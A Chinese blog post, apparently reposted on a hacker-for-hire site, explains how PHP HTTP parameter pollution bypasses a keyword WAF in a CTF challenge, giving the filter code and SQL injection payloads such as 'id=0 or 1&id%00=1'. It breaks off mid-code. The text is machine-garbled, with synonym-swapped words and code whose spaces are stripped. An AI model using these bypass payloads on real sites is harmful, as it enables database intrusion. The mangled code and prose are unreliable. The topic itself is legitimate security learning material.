PHP的两个特性导致waf绕过注入

访客5年前黑客工具607

1、HPP HTTP参数污染
HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比方Apache就要以最终一个参数为准,比方:
user.php?id=111&id=222
假如输出$_GET数组,则id的值只会取222,即URL上提交的多余值覆盖了前一个值。
2、一个CTF标题
关于注入的waf绕过,注入点为:
$sql="select * from user where id=".$_REQUEST["id"].";";
能够看到了REQUEST进行传递,而且存在如下的waf代码:
    functionwaf($str) { 
        if(stripos($str,"select")!==false) 
            die("Be a good person!"); 
        if(stripos($str,"union")!==false) 
            die("Be a good person!"); 
        ...... 
    }   
      
    functionwafArr($arr) { 
        foreach($arras$k=> $v) { 
            waf($k); 
            waf($v); 
        } 
    }   
      
    wafArr($_GET); 
    wafArr($_POST); 
    wafArr($_COOKIE); 
    wafArr($_SESSION);  
      
    functionstripStr($str) { 
        if(get_magic_quotes_gpc()) 
            $str= stripslashes($str); 
        returnaddslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8')); 
    }   
      
    $uri= explode("?",$_SERVER['REQUEST_URI']); 
    if(isset($uri[1])) { 
        $parameter= explode("&",$uri[1]); 
        foreach($parameteras$k=> $v) { 
            $v1= explode("=",$v); 
            if(isset($v1[1])) { 
                $_REQUEST[$v1[0]] = stripStr($v1[1]); 
            } 
        } 
    }   
      
    functionstripArr($arr) { 
        $new_arr= array(); 
        foreach($arras$k=> $v) { 
            $new_arr[stripStr($k)] = stripStr($v); 
        } 
        return$new_arr; 
    }   
      
    $_GET=stripArr($_GET); 
    $_POST=stripArr($_POST); 
    $_COOKIE=stripArr($_COOKIE); 
    $_SESSION=stripArr($_SESSION);
这儿运用了waf函数分别对GET POST SESSION COOKIE数据进行过滤,而且对这些大局数组进行转义。
值得注意的是,这儿的$_REQUEST是代码中从头依据$_SERVER[‘REQUEST_URI’]进行拼接,在拼接过程中将参数值进行转义操作。
(1)思路1  运用HPP特性
看似不太可能存在注入,可是运用HPP能够完成。
示例代码:
user.php?id=0 or 1&id%00=1 
user.php?id=0 or 1&%20id=1 
user.php?id=0 or 1?&id=1
测验代码:
      
    function stripArr($arr) { 
        $new_arr = array(); 
        foreach ($arr as $k => $v) { 
            $new_arr[stripStr($k)] = stripStr($v); 
        } 
        return $new_arr; 
    } 
     
    function stripStr($str) { 
        if (get_magic_quotes_gpc()) 

[1] [2]  黑客接单网

相关文章

使用Homograph的复杂鱼叉渗透分析-黑客接单平台

在曩昔的几个月里,咱们做了一些有关创立网络垂钓电子邮件的研讨,这些创立的垂钓邮件足以诈骗那些专业的安全人员。因而,咱们正在研讨一个适当陈旧的安全论题:Punycode域和IDN同形异义词进犯。 Pun...

服务端模板注入:现代WEB长途代码履行

0x01 开发Exploit 许多的模板引擎都会企图约束模板程序履行恣意代码才能,来防止应用层逻辑对表达式引擎的进犯。还有一些模板引擎则测验经过沙盒等手法来安全处理不可信的用户输入。在这些办法之下,开...

Python中eval带来的潜在危险

eval是Python用于履行python表达式的一个内置函数,运用eval,能够很便利的将字符串动态履行。比方下列代码: >>> eval("1+2") >>>...

Node.js使用的反向shell

布景介绍 一个小型Web开发者团队曾托付咱们对他们的移动使用进行安全评价,该使用的后端是一个REST API。该使用的架构很简单,只由3台linux服务器组成: Node.js MongoDB Red...

浅谈跨域威胁与安全-黑客接单平台

WEB前端中最常见的两种安全危险,XSS与CSRF,XSS,即跨站脚本进犯、CSRF即跨站恳求假造,两者归于跨域安全进犯,关于常见的XSS以及CSRF在此不多议论,仅议论一些不太常见的跨域技能以及安全...

看我怎么发现GitHub提权缝隙取得$10000赏金

之前,我从没参加过GitHub官方的一些缝隙众测项目,在HackerOne建议的HackTheWorld竞赛中,主办方宣扬除了赏金以外,还有时机取得Github供给的终身无约束私有库(unlimit...